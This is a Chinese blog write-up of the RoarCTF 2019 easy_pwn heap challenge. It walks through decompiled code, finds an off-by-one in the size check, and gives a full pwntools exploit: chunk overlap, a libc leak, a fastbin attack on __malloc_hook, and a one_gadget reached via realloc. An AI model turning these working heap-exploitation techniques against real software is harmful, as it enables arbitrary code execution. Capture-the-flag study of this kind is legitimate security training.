roarctf 2019 easypwn

这个题就是一直耿耿于怀的题,做了3天,还是看着别人exp才搞出来的
分析一下伪代码,函数已重命名

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-Ch]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  sub_AD0(a1, a2, a3);
  while ( 1 )
  {
    menu();
    v4 = get_number(v4);
    switch ( &savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        puts("Tell me the secret about you!!");
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        show();
        break;
      case 5u:
        return 0LL;
      default:
        puts("Wrong try again!!");
        break;
    }
  }
}
__int64 add()
{
  __int64 result; // rax
  int v1; // ST0C_4
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]
  signed int v4; // [rsp+8h] [rbp-18h]
  void *v5; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    result = *(&unk_202040 + 4 * i);
    if ( !result )
    {
      printf("size: ");
      v4 = get_number(v3);
      if ( v4 > 0 )
      {
        if ( v4 > 4096 )
          v4 = 4096;
        v5 = calloc(v4, 1uLL);
        if ( !v5 )
          exit(-1);
        *(&unk_202040 + 4 * i) = 1;
        *(&unk_202044 + 4 * i) = v4;
        qword_202048[2 * i] = v5;
        v1 = qword_202048[2 * i] & 0xFFF;
        printf("the index of ticket is %d \n", i);
      }
      return i;
    }
  }
  return result;
}
__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  signed int v2; // [rsp+Ch] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  v2 = get_number(v1);
  v3 = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    v2 = *(&unk_202040 + 4 * v2);
    if ( v2 == 1 )
    {
      printf("size: ");
      v2 = get_number(1);
      v4 = check_size(*(&unk_202044 + 4 * v3), v2);
      if ( v2 > 0 )
      {
        printf("content: ", v2);
        v2 = get_content(qword_202048[2 * v3], v4);
      }
    }
  }
  return v2;
}
__int64 delete()
{
  int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  v0 = get_number(v3);
  v4 = v0;
  v2 = v0;
  if ( v0 >= 0LL && v0 <= 15LL )
  {
    v4 = *(&unk_202040 + 4 * v0);
    if ( v4 == 1 )
    {
      *(&unk_202040 + 4 * v0) = 0;
      *(&unk_202044 + 4 * v0) = 0;
      free(qword_202048[2 * v0]);
      qword_202048[2 * v2] = 0LL;
    }
  }
  return v4;
}
__int64 show()
{
  int v1; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+0h] [rbp-10h]

  printf("index: ");
  LODWORD(v2) = get_number(v1);
  HIDWORD(v2) = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    LODWORD(v2) = *(&unk_202040 + 4 * v2);
    if ( v2 == 1 )
    {
      printf("content: ", v2);
      LODWORD(v2) = puts_content(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
    }
  }
  return v2;
}

delete函数,指针已置零,无UAF
最重要的是check_size函数

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return result;
}

一开始我不知道这里是什么意思,看了半天才明白,这里是说,edit时输入的size如果比add输入的size大10的话,edit就会多读入一个字节,造成off by one漏洞
那这题就很明确了,利用off by one + fastbin attack打malloc_hook
还有一点需要注意的是,这题直接用onegadget没办法打,满足不了one_gadget需要满足的条件,所以需要用realloc函数来调整栈环境
思路:
①add 7个chunk,index从0-6
②利用off by one,通过edit chunk0,把chunk1的size改了,让chunk1包含chunk2,造成overlap
③free chunk1,然后再add回原size的chunk1,此时chunk2中会出现main_arena+88的地址,且chunk2处于inuse状态(原因未知),直接show,就能leak出libc_base
④edit chunk4,利用obo将chunk6包含进chunk5
⑤free chunk5、chunk6
⑥将chunk5 add回来,此时应该拥有了一块包含chunk6的chunk5
⑦edit chunk5,将malloc_hook-0x23写到chunk6的fd位
⑧free chunk6,此时fastbin中,对应的原chunk_size处的指针指向malloc_hook-0x23
⑨add 两块chunk,就能分配到一个地址为malloc_hook-0x23的chunk
⑩将malloc_hook改one_gadget,一把梭gg
exp:

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './roarctf_2019_easy_pwn' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",25768)
elf=ELF(binary)
libc=elf.libc
def add(size):
    p.recvuntil("choice: ")
    p.sendline("1")
    p.recvuntil("size: ")
    p.sendline(str(size))
def edit(index,size,content):
    p.recvuntil("choice: ")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.sendline(str(content))
def free(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(index))
def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
def exp():
    add(0x18) # 0
    add(0x68) # 1
    add(0x68) # 2
    add(0x68) # 3
    add(0x68) # 4
    add(0x68) # 5
    add(0x68) # 6
    payload = "a"*0x18 + p8(0xe1)
    edit(0,0x22,payload)
    free(1)
    add(0x68) # 1

    show(2)
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3c4b78  # leak libc_base
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['realloc']
    one_gadget = libc_base + 0x4526a
    log.success("libc_base==>" + hex(libc_base))
    log.success("malloc_hook==>" + hex(malloc_hook))
    log.success("realloc==>" + hex(realloc))
    log.success("one_gadget==>" + hex(one_gadget))

    payload = "a"*0x68 + p8(0xe1)
    edit(4,0x68+10,payload)
    free(5)
    free(6)
    add(0xd0) # 5
    payload = "a"*0x68 + p64(0x71) + p64(malloc_hook-0x23)
    payload += "b"*(0xd0-len(payload))
    edit(5,0xd0,payload)
    free(6)
    add(0x68) # 6
    add(0x68) # 7
    payload = "a"*0xb + p64(one_gadget) + p64(realloc+13)
    payload = payload.ljust(0x68,"\x00")
    edit(7,0x68,payload)
    add(0x10)

    p.interactive()
exp()

问:不是距离malloc_hook-0x23吗,去掉chunk头,需要填充0x13,为什么填充0x13-8呢?
答:realloc_hook在malloc_hook上方,我们将onegadget写入了realloc_hook中,将realloc写入了malloc_hook中,这样调用malloc时就相当于调用了malloc_hook,就相当于调用了realloc,就相当于调用了realloc_hook,就相当于调用了one_gadget

问:一开始泄露地址时为什么free(1)之后又add(0x68),main_arena+88就在chunk2中了?
答:add(0x68)好像实质上是malloc了chunk2回来,具体不是很清楚,只是不断调试发现正好是这样的,就show了
free掉1之后是这样的

add回来之后长这样

尝试性show了一下chunk2发现可以leak

本来想着这个题还要用什么realloc,有点麻烦,所以想打free_hook的,但是看了看,free_hook更麻烦,还要写0x7f什么的,理解不了,不大会
等学会了来打一下free_hook(挖坑待填)
参考链接:
https://blog.csdn.net/weixin_44145820/article/details/104839805
https://nocbtm.github.io/2019/10/14/2019-RoarCTF-pwn-writeup
https://binlep.github.io/2020/01/12/%E3%80%90WriteUp%E3%80%91RoarCTF%202019--Pwn%E9%A2%98%E8%A7%A3/
https://www.cnblogs.com/luoleqi/p/12380696.html
http://www.pwn4fun.com/pwn/buuctf-pwn-writeup-part2.html#roarctf2019easypwn

您的鼓励将支持我继续努力!